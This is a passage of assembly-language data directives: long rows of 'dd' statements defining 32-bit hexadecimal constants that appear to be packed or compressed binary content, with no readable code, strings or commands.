7B4AEB02h, 0CFFB8B82h dd 79D82D10h, 0BFFFE769h, 0C79D6C4h, 60943F8Ch, 7593245h dd 7000978Dh, 78DC4B0Ah, 0E2DFFC5Bh, 58E6FA69h, 0CF2B6143h dd 0C1FA0CB6h, 10E3E25Fh, 0D2FFFFF8h, 83D2487Dh, 8D42EC88h dd 0D740BE90h, 102516D5h dd 0C713EF07h, 0DFF0FC40h, 8D3712E8h, 4A6FFB9h, 0C083AC7h dd 0F552067Eh, 0D28EE97Fh, 66B86B16h, 9BE35AFBh, 4F8D33A2h dd 0BFFFF49h, 0C0B9E8FCh, 898CD97h, 9E644196h, 8D560044h dd 0BCF1F8FFh, 468A2D9Eh, 0FFC6FFFFh, 0F6C88A43h, 0E0DE3102h dd 4318A886h, 478093Eh, 0E35B5060h, 0F7EA904Dh, 6D121D2h dd 0E264F16Fh, 61BD0D5Fh, 0F5260C54h, 0BE97FF52h, 0C7112BACh dd 0CD51E40Eh, 88EAC117h, 0CA59215Bh, 0F12FFFB0h, 4036FCFFh dd 49E6B685h, 1F8BD203h, 11D8A289h, 558E2E10h, 1C3F61Dh dd 42F8006Fh, 32DDF5Eh, 0FF35145h, 0FFFF3B8Fh, 0C1311BFFh dd 0A156E0F9h, 664904C5h, 6763542h, 895DAD97h, 5F8B07E5h dd 83435FDBh, 0FFFFFFFFh, 9069EB64h, 0F8631AF9h, 0A16C01DCh dd 26906793h, 1CE0261Fh, 0B5D243BAh, 84F90DFh, 0D0FD894Dh dd 0FFF1BFFFh, 208F6C2h, 1E79097Fh, 7601CE2Bh, 3376A274h dd 7C0984A5h, 4AAEFEDDh, 0FFFFFFC1h, 4F04FFFFh, 473FFF83h dd 5FEAFC31h, 5374358h, 89FB1C74h, 963F5BAFh, 8B5ADADh dd 414B3F05h, 0FFFF4B59h, 653C56EDh, 7570059h, 9659E413h dd 1C07FFA6h, 5BBDCF13h, 0FC6E0D6Bh, 0B338FFFFh, 1B20EB11h dd 7490D8B9h, 0B4844F38h, 0A3C33616h, 1923E321h, 0FDAE6E98h dd 38DFFFFFh, 0FCD9733Fh, 468D11DBh, 5B5B1D1h, 14104279h dd 0E05B3CF8h, 6005AFF0h, 0FFFAE606h, 2FC21BFFh, 0ADB78647h dd 5929C75Bh, 364B214Eh, 0A9FC335Ch, 0F16C1CE7h, 0FFFFFFC1h dd 704E73B7h, 0D213393Fh, 0EB4301DBh, 808EF65Eh, 0DFC1E18h dd 1820B10Ah, 995A4C1Ch, 0FFFE0DFFh, 0FE4F9E49h, 0CB911ECEh dd 0E6F10E0h, 15784E4Ch, 6A6C0684h, 775776Fh, 4BFFFA97h dd 8776861h, 3896B4Fh, 0F606059h, 0B77010D1h, 0D2FB2398h dd 787CFFFFh, 4A798BF1h, 4B5F7B89h, 879A6904h, 656D519h dd 67C8CF99h, 0FFED06A4h, 0BFCE7FFFh, 0ED6039EFh, 0FCE233Ch dd 24811C99h, 56793093h, 3AA18F4Eh, 3F10B974h, 0FFFFFFFFh dd 3383FC18h, 269DCB56h, 8C34FAA1h, 36A5895Bh, 175405CEh dd 0B49AF039h, 9B874750h, 0EA209C53h, 0FFFF4776h, 0B8D057Dh dd 62CE586Dh, 0A26983EEh, 1DA3BA15h, 53FDFFA3h, 7FFA3729h dd 0A57AC7E9h, 11EBD9F1h, 6C3BC649h, 8CB75771h, 0FB7FFE23h dd 0A10FFD6h, 0D80EC383h, 46AA97A1h, 7F75D885h, 5EC0D4E2h dd 0D9D92358h, 0F0BE9789h, 0BBEB5B75h, 7B544B2Ch, 3513A808h dd 0F6E3E772h, 259C7FFFh, 931A41Bh, 76F0311Bh, 15D452E6h dd 1156578Bh, 3E8068D0h, 7FFFE8DFh, 58EF6A11h, 0A96DEB68h dd 1EC4B79h, 38D0438Bh, 4EDE3DAEh, 0D1BF89E5h, 0A41DD5BFh dd 0FFFA0FABh, 611C2E6Fh, 1F8CDCFEh, 0F85F7C8Bh, 2344FFFFh dd 6D54E14Dh, 29768FF5h, 0EAA36ACh, 5A48385Bh, 0B90EA739h dd 8B165EE0h, 0FFFEDFFFh, 41168491h, 7169E7EBh, 0F7495DABh dd 0F260474Ch, 5ACDDC0Dh, 6A545894h, 0C9335F20h, 0DBFE2DFFh dd 4771DC5Dh, 5422C985h, 910AFCF9h, 6D8FC4F1h, 7E239C18h dd 0F12FF8DFh, 0E4F73B0Fh, 10FB984h, 4A884A01h, 0D11B105Ch dd 0FC2FE969h, 0E67DE37Fh, 373847CFh, 711CDFDAh, 5C23ECE5h dd 92294488h, 0FFE2750Fh, 26FB16FFh, 0F2EC3396h, 2CEB0B21h dd 98D6263Bh, 0C8CE245h, 0FFFFE12Dh, 0E746905Fh, 1231B95Ah dd 5B212A24h, 8B06E5B2h, 1667F822h, 2CED447Ah, 817F8ACBh dd 7F7A7FFFh, 30CB6CD3h, 8920974Ch, 0C18CE451h, 5E9734B6h dd 46290B97h, 0D5A25FFFh, 0CE6A9CBBh, 45337861h, 0EFB8C07Bh dd 0FCA23B09h, 1BFFFFD0h, 0B8D7A88Eh, 222EEE8Ch, 0F0099E0Dh dd 0B647AEAAh, 0BE16BCC9h, 0BFFFFFFFh, 9CC637FDh, 0B2114DA5h dd 11F20A89h, 0DE9DD4Ch, 3F07509h, 3212D5D1h, 0DDBF13D4h dd 0FF4B4216h, 210ED4BFh, 753E0FF1h, 611D3B1Ah, 866C588Dh dd 224B6Eh, 42FFFFF8h, 0C9466E90h, 428D36C5h, 0D8355F04h dd 684091E0h, 64766F30h, 0FF52FFF7h, 0C8982037h, 6C150A66h dd 0ED808D03h, 1AE02B32h, 316A50A1h, 0FC057E2Dh, 0A8145C31h dd 0A830785Fh, 0FF06B3B3h, 803612FFh, 54AF22D4h, 0A364DF43h dd 644AC337h, 2FED0A13h, 6E02DF5h, 945110C4h, 3DAD171Bh dd 5B807553h, 5520FF01h, 0FDAB7385h, 4C20EF06h, 0BF16F21h dd 0D0A91CAFh, 0C76DDF12h, 7BE40174h, 0F52FFFFFh, 51DB0D96h dd 0CF0374CCh, 0E1989D58h, 1596EC0Ch, 0F650C62h, 96F62897h dd 0FD5BFFFFh, 3D4B5B9Ah, 6BCB9E66h, 2A29FD09h, 307B23B5h dd 6D1B628Dh, 35CDA34h, 0A97FE02Bh, 5EB5DD0Bh, 2DBC3636h dd 0A1E6DF3h, 7FFFC2F8h, 0CD865C06h, 25BB1203h, 98141CEAh dd 0E29945D7h, 0BFEEBBF9h, 0FE02B176h, 1450050Ah, 0FFFF0186h dd 458AF46Fh, 24665957h, 0F7188696h, 0B3B01B7Bh, 0BCC34E5Bh dd 88C6EBEFh, 5FFF21F7h, 7FFAC052h, 2142D8DAh, 2660768h dd 9A34BB6Ah, 0FF80A6FFh, 8BAB2CCCh, 0B7C4AF6Dh, 18E5D3AAh dd 6FE10813h, 9FC0D7A2h, 2C35F014h, 1ECAA41Fh, 3EF9D030h dd 52FFFFFEh, 0C52C17C9h, 96C23919h, 569B0CA1h, 2B66AD3Ah dd 0E9E61830h, 8D8309F9h, 0D097FFC2h, 50AE0C80h, 52CB51A2h dd 0BA8762ECh, 0FFFF401Bh, 91D7FFFFh, 12140700h, 180214F9h dd 73D75CFAh, 0BDD0FF3Ch, 348C616h, 74D0E2C5h, 3BDB2416h dd 0FFFFBAD9h, 0F3802FFh, 283D066Ch, 0F63A89C3h, 0E6604460h dd 2C151059h, 7805BC7Bh, 0FC4B6984h, 4EE2A37Fh, 38A2E80h dd 6F0BA994h, 8EFBA950h, 0DFF5C6D9h, 0C62CFFF8h, 0A25EEF72h dd 991418A1h, 0A9F80FC8h, 0BB11F5E8h, 720CD11Fh, 0B12FFFF0h dd 781A000h, 0CE3BF57Eh, 0CC13A0C2h, 1055D055h, 897F6298h dd 16386FEDh, 5DA12758h, 0AE2DD245h, 314F1CD1h, 0FFFE9C94h dd 0C636FFFFh, 59749539h, 0DBC52378h, 3B08928Bh, 5D6D0C0h dd 681A1E43h, 0DF0B4BD0h, 6F01DE1Bh, 0D4BFFF13h, 68BDA2ADh dd 0A5F4685Eh, 0EF7025CDh, 754B61C1h, 1BFF2F54h, 4FD1FFFDh dd 4F68EC7Dh, 0AB9C11A2h, 0C62FECBEh, 607DB342h, 73595F8Fh dd 0FF81FF0Fh, 72F7FFEDh, 0DD468F1h, 0E58A0DECh, 0C6A071Bh dd 5454AA8Dh, 0EE267BD6h, 7FD6FFFCh, 399215F6h, 4D154808h dd 0FC0C5A5Bh, 0BDF556BBh, 881D392Fh, 6FB77EC1h, 85730A15h dd 10E6059Dh, 2B2DD0A2h, 0FF4BFFFFh, 0D60B9045h, 0D7E8EC8h dd 0C4643036h, 237EEFB2h, 0D3E066DAh, 0EE832674h, 0FFFF0A04h dd 753BFB7Fh, 0B8F872E4h, 742A1B82h, 33223E79h, 8ADD9B7Dh dd 2C57E58Dh, 68DAEBAFh, 0FFFF4920h, 9FBEFFFFh, 14B8EBDCh dd 685933E2h, 6B240F28h, 91049381h, 103E3D63h, 210D4769h dd 97892876h, 0FFA540FFh, 3F19FFFFh, 0B02C82D7h, 1808741Eh dd 209388ACh, 2E5400BCh, 623C7BA4h, 0A2107C70h, 0FFFFF52Fh dd 0F6072036h, 56010E23h, 447DFBB4h, 0B78AD52Dh, 0BC09305h dd 67F3E7FBh, 0FADF4BFFh, 9F3A9F6Ch, 0CA89C730h, 15B0750Bh dd 0C2736768h, 0A3A4C572h, 0E2DFFF89h, 0AC00957Ch, 860CAFC4h dd 0BB432BBBh, 0A8FD1C84h, 0AADF7014h, 0B0CD7FD4h, 177047C1h dd 0E84604B1h, 0BBB50A08h, 0FFF5BFFFh, 35036A55h, 2ECF8AA2h dd 0E236E608h, 5A631083h, 0D854A21h, 18ED0FD8h, 85DB144Eh dd 0BF8EFDBEh, 0FCFB81DBh, 2C5A0150h, 0BBE70337h, 0FFFF5E43h dd 0D7D1FFFFh, 1E90BD70h, 9C253355h, 230B000Fh, 0E5BE05ABh dd 0A9B906F8h, 5C68C23h, 0B52873ADh, 0FD6F9D6Bh, 1E6CFFFFh dd 475A2634h, 1400FB68h dd 41A85730h, 0B7B0EAAFh, 4300507Ah, 2ECC2FE2h, 0FFFFF8B7h dd 0C3A340B4h, 0ED0C3876h, 0BBC6033Bh, 0AA6EA346h, 735EA4B9h dd 0EEB58944h, 0FFFFEA5Eh, 0A1B200F4h, 0F4114211h, 8480392Bh dd 2706E686h, 10C807E1h, 0FF01A1AAh, 75A5F46Fh, 6C23ACFDh dd 29219966h, 0A86E0120h, 0CFD5376Dh, 0FFFFFFFFh, 0BB449F23h dd 0CFF46A33h, 44AD8530h, 1BE8203Dh, 9EEDFDC1h, 20B5043Dh dd 508DA6E9h, 0B00036FFh, 0FFFFFFFFh, 8D1AACDh, 1CB82555h dd 575DB18Ch, 906B7A53h, 1574E101h, 0AA751F76h, 4388CB78h dd 0B909A671h, 0FFFFF8B7h, 0F3D58DF4h, 0C3F9A314h, 0F875A40Bh dd 6F053D66h, 40ACB0Fh, 0B0A85690h, 0FFFFE2DFh, 0DADA6204h dd 0C667CA0h, 8A6EF79h, 84E833DFh, 26599035h, 0CF3D2004h dd 0FFD1BE97h, 40303CF3h, 3706050h, 0D0270D06h, 1950103Ch dd 0FC14567Eh, 0C19612ADh, 202D03F1h, 4143983Ch, 0DAD82FA3h dd 7F07A03Bh, 837FFFDAh, 0E3659BFFh, 8AB7402Bh, 45B12A56h dd 335B1703h, 79C2D9B1h, 8EF853A4h, 5A378287h, 0AAF35DCCh dd 50DCFDAh, 0F058FFFFh, 6B940816h, 32F059D0h, 15077335h dd 5BC75DBEh, 0FFFA37FFh, 833A660Ah, 0B35F21B8h, 3828588Eh dd 0FA5AC181h, 950FDFF1h, 0A937ADC0h, 0FFFFFFFCh, 320409DEh dd 6AC40057h, 5301AA10h, 28938DDh, 2D85240Bh, 658B9AEDh dd 95AFC6Bh, 5BFFA6E4h, 7665BFFh, 671FB2F5h, 53109363h dd 6690EAB1h, 0A0268C38h, 0FC406B9Ch, 6DB3A5A5h, 0F3FDA85h dd 0ACB4E8C9h, 77FFFFFFh, 0B85858D7h, 81711BA2h, 0C5968EECh dd 938B7A76h, 5A48589h, 0F8AF8806h, 0D1277295h, 0FF897FFFh dd 33809505h, 0B6DFB9B9h, 74963C7Ch, 0A0958C66h, 948D060Fh dd 1DB972FEh, 0B7FFFFFFh, 6C45F05Dh, 646D6865h, 98858F9Ch dd 2FD1F7B6h, 0ABACB5F5h, 9C4B0585h, 66C6B7BFh, 0FC6A17FFh dd 1B3D8B1h, 3005B589h, 0DB151F0Ah, 8C17506Ah, 2FFF80FDh dd 6D4AFFF0h, 0F9021173h, 5D0EC0Ah, 0D88E5D6Dh, 0FB802E53h dd 668C72C0h, 0FC2FCD73h, 12B6FF85h, 6A4CD4D4h, 214809D6h dd 0D0226D00h, 0AE1B0h, 0F101E32Fh, 4756FFFFh, 33A1D0A2h dd 1A342BDBh, 0A3C2140h, 0EFE247B9h, 0BA37D08Dh, 0D262BFC0h dd 0DA8C581h, 86D1903Fh, 0FF5D98B3h, 0FFFFFFD4h, 800EF2E0h dd 67A24561h, 68A42D76h, 74FF6C1Bh, 4E88322h, 0D041774h dd 0FFFF4845h, 0AD1CBFFFh, 0B8C9EC41h, 12059204h, 0B3CE956Dh dd 0AF11080Bh, 7EC4BDE2h, 0F05248E1h, 5E8D7555h, 85FE85F0h dd 7DD5FC1Ch, 0EA16B65Bh, 8D3BC702h, 0FF52107Eh, 0FFBA2E97h dd 60B8475Fh, 2B0CAE63h, 180C8AC6h, 0FFFFFFAFh, 754D43FFh dd 1D8E8DF7h, 0C027150Dh, 11ECA638h, 0DA8708E7h, 15134E41h dd 42FB64A3h, 1CC80DC1h, 0FFEA85F4h, 0F1709805h, 8591BC06h dd 967684CBh, 0FEE83EBFh, 6FDA8DFFh, 16EF17BEh, 31188488h dd 0DC1BA16Fh, 0C4F4723Ah, 0FFFC4BFFh, 85A7848Ah, 0B7FD6E0Fh dd 2B7420FFh, 0B6A45D8Dh, 3B0302C8h, 2B1677C8h, 0FFF06F5Bh dd 941E40C1h, 68A2430Dh, 0B13A1AF5h, 43F00670h, 6F8D43FCh dd 0D8D3D5BCh, 75AC6058h, 50649822h, 0FFC6516Dh, 46B9FFFFh dd 0A426C1C0h, 0A0172B90h, 15C1AC9Bh, 571E5750h, 19035331h dd 44A524ECh, 6FFFFFEAh, 0C06DEDF8h, 242424DCh, 4CB70FABh dd 0A8035463h, 791C9040h, 0E1BF7EDEh, 37EA101Dh, 8C8AF16Eh dd 12755305h, 0DE20D502h, 0FFDDC3ADh, 78DA5FFFh, 0C6352E8Ch dd 1D8A0884h, 0C1DECFEFh, 868D4DEBh, 0FF9F320Dh, 7E0AB1B7h dd 0BAD4FFE1h, 0A508295Ah, 150EBB80h, 3C637DEh, 0C0205A50h dd 21DFFFFFh, 0E5C0C77h, 20C280D1h, 28B6D9E6h, 0E10FAA2h dd 696DE020h, 0FFFFEAABh, 55A7BFFFh, 3B412BC6h, 0A1E364CFh dd 5D30B8D1h, 265B315Fh, 9C1CE897h, 4848C804h, 8F5B047h dd 0FFEA556Fh, 98A16DCFh, 0ADFC546Eh, 0DE1D7494h, 68773E6Bh dd 85FFFF6Fh, 8B319121h, 0C9821120h, 6AE00125h, 0C222230Dh dd 3B28DA85h, 0D5BEDD35h, 2D36FFFFh, 93E3F014h, 58C8568Dh dd 19FE810Fh, 0FEC50774h, 24A1C2C1h, 0FFF8DF89h, 2D8B0DB7h dd 0CE9925FAh, 0FB542A36h, 8EEB3F6Bh, 0DB79D3C3h, 17FF0D0Dh dd 9953FE0Ah, 23078B6h, 0B038A47Dh, 3BDE1DB1h, 0C71E75E7h dd 0FFFFFFFFh, 46350705h, 0F5A08C60h, 0FCFCD001h, 0D5AC0E63h dd 283CEBF6h, 5C22D8FDh, 29AD957Ah, 0FC16DBADh, 0FFFFFFB7h dd 97BC11F8h, 0EB1C29B5h, 20C63BC4h, 0F806B3C1h, 9F20D6C6h dd 1B60B446h, 0B4BC4CA0h, 0C4BFFFFFh, 579EA08Eh, 3BAE48A5h dd 0B6BE088h, 0C34F470Ah, 8DDCC5F7h, 6D389F72h, 0FFFFFFFFh dd 0B82DD48Ch, 5BEEDF90h, 91B836F5h, 30C0D677h, 0B20AF03Dh dd 72ED8FB9h, 0FDE381E7h, 0B7466D1h, 0FA97FFD1h, 0FC2C8BE9h dd 0C7B7E431h, 11643550h, 66047521h, 0FFFF1A48h, 0ACF3BFFFh dd 1A8B67BFh, 43170129h, 175B561Ch, 33F8E894h, 39D842D2h dd 0DD5FFC2Fh, 0C737C07h, 0FFFFFFFFh, 0EDF8860Fh, 85CF52EEh dd 608F8875h, 0E8AEFFBh, 0C20CC984h, 215546EEh, 0C98336FBh dd 134641A1h, 0FFFDBD5Bh, 17AEE86Eh, 30C96B46h, 0A0B18DE3h dd 0F03F6897h, 16242AEBh, 0FFFF8B7Fh, 23E3428h, 3437BBDDh dd 8AE030D4h, 81C8C80h, 14DBC44h, 0A1707510h, 0FFFFFEDFh dd 0EA76FE47h, 6A344647h, 0D1F13C33h, 3DE0E8B3h, 0AD4777h dd 972A8DC2h, 0FF6F97C7h, 0FFFFC6FFh, 43C770E1h, 96205E08h dd 4389066Ah, 8D10770Ch, 0BBCCDB89h, 665A4794h, 0A2B7318Bh dd 6641FFFFh, 40413089h, 0F3754A40h, 6922F38Bh, 0F9759F1Ah dd 0FFFFF26Bh, 3C3FFFFh, 0C106041Dh, 7E5BF676h, 534737Bh dd 381B34E5h, 0E0FEB91Eh, 0F8968A95h, 2C400808h, 0FFFF6CF9h dd 68D0FFFFh, 52548B91h, 0EA50EA63h, 800B5D3h, 0B2EB7B8Ch dd 0D1C0EB2h, 54CDD7E8h, 0AB46188Bh, 0FAB7CA01h, 0FC79FFFFh dd 0EE43F182h, 686814F6h, 0FFE04D83h, 3440FCFAh, 6B8CE928h dd 0E2DFD668h, 4608FFFFh, 89E4E530h, 99466787h, 577C859Eh dd 41B2C020h, 142BE9B3h, 2FFFB946h, 440AFFFCh, 52E9BFh dd 0A5F3FB8Bh, 44BF2383h, 2838CDB2h, 4F5B49E2h, 27FC6AD1h dd 0FFF1BFFFh, 13681CDCh, 2ADE9393h, 3D6846C2h, 69F6EDE6h dd 685E89E3h, 0FF073D5Ch, 0FFFFF3D7h, 270FFFFh, 4E296536h dd 5F6EA9Bh, 33DD6B8Bh, 70484C1Bh, 7C0ED43h, 791F51E3h dd 0CC4A308h, 7FF5C8A3h, 6F75D681h, 0F8B50F5Ah, 4C5A3C05h dd 0DD8C3F66h, 6EADFE25h, 6E450C7Bh, 19E8EB40h, 0B17DF63Dh dd 0FAB7FFFFh, 0FEF939D7h, 8888264Ch, 0E9186580h, 3E91A300h dd 5C1857B7h, 0E666881Bh, 0FFD4BFFFh, 2C86A3FFh, 13B664D2h dd 5F3AB8BBh, 0F513F6D2h, 0FC6EBFD7h, 1ABC30EBh, 897A5FFFh dd 25EBFF35h, 580E38DEh, 5335CE4Ch, 4104EB35h, 0C6FC72CCh dd 0D0DCFFFFh, 565B00E0h, 0B3EEF9DCh, 0FD6A8E92h, 599B6D10h dd 0D169584h, 0F12FE078h, 93A6E2Dh, 0EFFFD3FEh, 3B0ABC86h dd 0DFFF57C5h, 6F74FDBAh, 596B483Dh, 21E6B0CBh, 5E74119Bh dd 5A752839h, 2B17B80Dh, 16FFFE37h, 0AB13B371h, 9C35B6FFh dd 0AF20A0A6h, 8C648195h, 0FFFF4F0Ch, 0E4E6FFFFh, 2D386179h dd 6D44C011h, 40B668F6h, 952DC40Dh, 0EC3B1043h, 0CFCC9908h dd 0D012C72Bh, 0FFFF220Dh, 0D218FE97h, 0EBC04C2Dh, 0BEB54D5Ch dd 3D071ED4h, 0A88B6388h, 0AFF60A95h, 0A42A33C0h, 0FFFFFFFFh dd 7337FFD0h, 512FF736h dd 5B506336h, 88F87F81h, 7502568h, 0E9821EB5h, 39840B7Eh dd 50DCB86Fh, 0FAD16FFFh, 479E2EC8h, 0C9D3D604h, 8227087h dd 573F7877h, 0FFC084D4h, 19C2FFD6h, 35B5566Ah, 0DBE40E40h dd 0B80C5066h, 0B77C9FB4h, 0FFC1C0E4h, 5003BFFFh, 97B815Dh dd 258E038Bh, 831760E2h, 9A0ADF7Bh, 61E2DB5Fh, 0FFFFC30Fh dd 0D8D4BFFFh, 7005E13Ah, 4C7B9882h, 88CD8513h, 2575AE92h dd 58898E7Fh, 5AA0B804h, 54B9188h, 0AB7FFFFFh, 2537CB5Bh dd 0B2309333h, 0A7D40728h, 70295780h, 360F9093h, 391B43E0h dd 0FFFFFFE0h, 59EF1971h, 7802D1C5h, 6F6890C8h, 790B8E53h dd 3ECB00C2h, 979ACF88h, 0FF46F093h, 965FF8DFh, 70161C7Eh dd 4C97C6Ch, 468DA112h, 0A39F016Ch, 743B0B28h, 0FD2F38A5h dd 1FBDFFFFh, 4D726E58h, 502AC1EBh, 19462A03h, 0C1E75264h dd 0E8805B12h, 0BD165008h, 0FE0097F0h, 0CE621880h, 6CE8518Dh dd 0EB609A59h, 0FFFEA842h, 0B7B72F16h, 3E59508h, 5E3966F0h dd 0FB405BA3h, 8D1446FFh, 0FFFFF07Ch, 23768A8Dh, 0E8906857h dd 6A75118h, 7C9EEC6Dh, 43061A0Eh, 0FFFF282Eh, 14512FFFh dd 90E3D3CDh, 5FF6F8F8h, 652B755Dh, 685A697Ch, 0B930D69Bh dd 0A142140Dh, 0BFFF1078h, 6AD5FA35h, 0B7DB3680h, 3074158Fh dd 909717F7h, 26C7F880h, 0D1BFA868h, 7C5DFC5Bh, 61AF0577h dd 37C323C1h, 88249828h, 0FFFF7447h, 5619FFFFh, 0A0AC421Dh dd 7BD098A5h, 0B0A10408h, 656A6091h, 48B77659h, 0B8FC928Eh dd 5733C19h, 0E85E6639h, 7634FFFFh, 0A96415FFh, 1BFBE207h dd 0C99CF450h, 200F310Ah, 7326AA70h, 0FFEDF03Fh, 29FC1B37h dd 42DFBDF1h, 0FF190DBDh, 911F2EA1h, 0DC34CD9Eh, 6FFFFFFFh dd 0CDE97C93h, 43602171h, 0BDA83E3Ah, 0DEE54DFCh, 46C77E81h dd 6C29885Ch, 0D087227Eh, 6FFE17Fh, 26452FB1h, 56DFE1Dh dd 0DE1D2454h, 778689D3h, 0EA5FCDE2h, 0EF7CFFFFh, 0FC0F15E4h dd 86C67035h, 8EB7329Dh, 4B0643F8h, 0C98C7E01h, 0A37F700Bh dd 50254BD5h, 0F7A4BA7Ch, 0A1526C18h, 0FFFFDA44h, 3DC0FC1Bh dd 6CAE0B82h, 425E30DCh, 0B5D874B3h, 4F014885h, 0ABA457ADh dd 0FE2D4238h, 9EFBFFFFh, 0B3FAF878h, 684E37F9h, 8A65289Eh dd 0DF2E56D4h, 0F1DB30B2h, 0FFFF4611h, 2956FFA5h, 82C5F828h dd 13D102E8h, 2B5C1EA5h, 24512432h, 5823FF4Eh, 980015Bh dd 0E17FFFF0h, 941BE9BBh, 1778695Dh, 0E12A725Fh, 4863BC53h dd 3C1051D3h, 7FF86808h, 51E72FA9h, 79116022h, 3A8A5701h dd 13624B44h, 2FB21321h, 9C17B7FDh, 732342Ch, 48443C32h dd 13876489h, 9C109CAEh, 0A25FFFFh, 687EC30Ch, 91570255h dd 0FF064C11h, 0C446698h, 6FFF76E1h, 857CFFF1h, 92AC759Ah dd 0A06C3BD9h, 8FB45979h, 74108ED5h, 0C7C3F14h, 0FFFC3F83h dd 824BFC6Fh, 44C72070h, 24268827h, 9E111CE1h, 0C7FFCC5h dd 0BBE41A4h, 50BF570Ch, 3D3B1B89h, 0E5438D34h, 300947F5h dd 0FFFFFFFFh, 684B5043h, 0F0CEE8E8h, 685604FBh, 0F0A307DCh dd 91910CA6h, 0F4D09193h, 3278F8C8h, 21AC12BDh, 0FFFFFFFFh dd 65A30DA5h, 0FDF4AD7Bh, 8281306h, 86D3B10Dh, 104F891h dd 4250A124h, 0A712BF1Ch, 38D404A1h, 0FE22DFFFh, 35EB83AEh dd 973D9A4Dh, 9275A32Bh, 0BC213859h, 0D7507DCCh, 0E05FFF56h dd 54ED884Eh, 1592A5BBh, 59D80C3Eh, 0A3202AACh, 1BFF1661h dd 5CF218FCh, 6F3CF4F2h, 73998878h, 0D128126Ch, 0FFF16FD8h dd 878574FFh, 0C11F481Bh, 0A782BAF0h, 0E3006423h, 34C44874h dd 1B902D9Eh, 0FFFF02FEh, 0C1107F3h, 5E6720E8h, 0CB4CA5Fh dd 0C9B215A8h, 0D86D0816h, 2F778101h, 0A7A5FFFDh, 413A09BAh dd 0EB580A38h, 9FE575h, 5D997903h, 6FFFC6F9h, 0FA45F42Fh dd 0AFCC874h, 0F909F86Eh, 82D8A14h, 511A7107h, 0FFFFB185h dd 2778FE37h, 905B13A7h, 86F4AA07h, 38109720h, 0A8F9F445h dd 5F25B5B5h, 232B7614h, 0FFFDBFFFh, 0C1C820Ch, 85056A0Ch dd 0F9C5BFA3h, 815A8370h, 2E8DDD38h, 63920119h, 0BB561423h dd 0FFFFFFFFh, 0A20E1A8h, 75F14F94h, 0EB86CD7Dh, 0C0535338h dd 0E268F478h, 0E06DFA53h, 0B788152Ch, 0EB253D89h, 0D0BFC4BCh dd 0F0F4EE15h, 7578F744h, 0E6FF170Ah, 0FFFF05EDh, 39781BC6h dd 8060145Dh, 38496A14h, 55AD2C18h, 0CB0C56F1h, 0FFFFF675h dd 0FF0FE2Dh, 0FB7CB7A8h, 3B488214h, 40017D05h, 6C2FA189h dd 0C986D05Dh, 0FFA5AB84h, 0C30CC2C2h, 0CD918A61h, 1CB3310h dd 0C90D2045h, 0D4B16FFFh, 456AD6AEh, 8D99AD40h, 0E884A920h dd 0D0FA2417h, 0FFFFFD5Bh, 146B8688h, 0C50489C4h, 7A386883h dd 68A7507Bh, 37FDDF8Ch, 43E0459Bh, 168378DFh, 0F758FDB9h dd 8D3737F7h, 0FD6F3F44h, 0EF40FFFFh, 0A408859Ah, 0AAF91304h dd 13C48B4Ch, 9F6E20B4h, 0D441C71Ch, 0B60A0C3Dh, 0FFFFFFD6h dd 0A1C10A11h, 2012DB95h, 0BB6DB1BFh, 94F46FDAh, 0F46CF45Dh dd 9C193D50h, 0FF6511FBh, 0F4FFFD6Fh, 35997174h, 6BE3F4F3h dd 4000E2D4h, 0A2E75A69h, 877B209Ah, 23A1F1C8h, 0FE2DFFC6h dd 0C1A68ABEh, 0E893F78Fh, 747B5BB6h, 0E71C4A29h, 0FFD4DB4Dh dd 6EFFFF42h, 7CA78F08h, 3818021Ch, 3076DD9h, 7EC57B59h dd 8327BD45h, 0FFFFCF2Ch, 39F1FADFh, 0D0F41609h, 0F33BFCE0h dd 6C76A74h, 0C01AEBB1h, 18D40CEAh, 4128D8F1h, 0FFFE25D1h dd 0A5B2C24Dh, 0C26356CFh, 0DBB37D22h, 0C7B58FCDh, 7F56EB03h dd 28E7BF8Bh, 3C56A53h, 0E47F6EEAh, 127EE622h, 0FA37FF06h dd 5608A78Dh, 0DD6D860Bh, 839767Ch, 82F09C1Ah, 0FFFF00A1h dd 1427FFEDh, 0C0A9AC67h, 46580474h, 0F7DAD1A8h, 0EC481600h dd 1A3B3794h, 1666A5C3h, 0FFFFDB01h, 4073FFFFh, 2B4B5114h dd 0B6077C15h, 0BF7F932Ah, 4361670Fh, 4FD47474h, 7E50E180h dd 16086FBAh, 56FFF81Ah, 0F646FFFAh, 0FF3D7E53h, 58DEE084h dd 0D43877E0h, 0DD74FB96h, 1CD707C7h, 0F8156FFFh, 0F8C72321h dd 5CC505FFh, 5DB2ECB4h, 1B0B970Ch, 37FF57A1h, 0F4DCF068h dd 7A800471h, 7F1C0C98h, 0DB23501Fh, 0EDFFD77Dh, 0B150FFFFh dd 0F05EB0ECh, 1BDEF7B5h, 843123F6h, 2A3EC136h, 0DEDFF75h dd 0D07129E1h, 0FFEA4A2Fh, 0D322FFFFh, 6289D724h, 0CBF4B77Bh dd 3918AEE0h, 0C6981845h, 66E0658Dh, 0B8300DC0h, 0DFFF12EFh dd 62EC2A58h, 8BC8A41h, 616F280Ah, 2405336Fh, 0DFFFFD41h dd 0AE9782D0h, 0A8AB1BE6h, 0FFA48D11h, 5E8A709Ch, 898B3E3Bh dd 0FFFFB6ABh, 3F80AADFh, 0D586359Ah, 7C1E4D93h, 428D00CBh dd 2C1B44FFh, 646207A8h, 0FFF5BFE2h, 3D04D606h, 8B536306h dd 95408D8h, 0F7E82F95h, 8A159BC2h, 7FFFFF0Ah, 0CB3AB921h dd 0FADFCF74h, 51EA52D9h, 0BEB7514h, 0C1C35AD8h, 1FE210E3h dd 0FE371B1Bh, 856B7A2h, 56BF0A8Bh, 0DD3FF78Bh, 0FFFF0B59h dd 0F9C1FFFFh, 0A2FFF183h, 0BFC633CFh, 38BD05CDh, 0A5E18104h dd 740625E1h, 2E0BB0D3h, 8106013Ch, 7FD243E6h, 0C475FFEBh dd 2C55DC2Ch, 42B15B8Dh, 0BE3655FCh, 0E816FD05h, 0FF673AEFh dd 27E0DFFFh, 10E803C9h, 0E9A69BB5h, 6DC1512h, 2D96EBD4h dd 9EE749CEh, 0FFD242B3h, 37FEF42Fh, 30F2FD06h, 9F90A714h dd 82F9B4ECh, 0F5280378h, 2FC5A229h, 5D82A8FCh, 0E72219C0h dd 944EF109h, 2EA5F4BBh, 7F6012D1h, 6E1E0B47h, 0FFFF7344h dd 2200BFFFh, 1A8DCE3h, 25C45AB6h, 5D10A83Bh, 57B68512h dd 84E7FE8h, 89FEE083h dd 0A4C8A0Eh, 0EADFFFFFh, 0D4CA68EFh, 0A966023Bh, 230F010Ch dd 52E375EEh, 0B31403B4h, 0F03BEE58h, 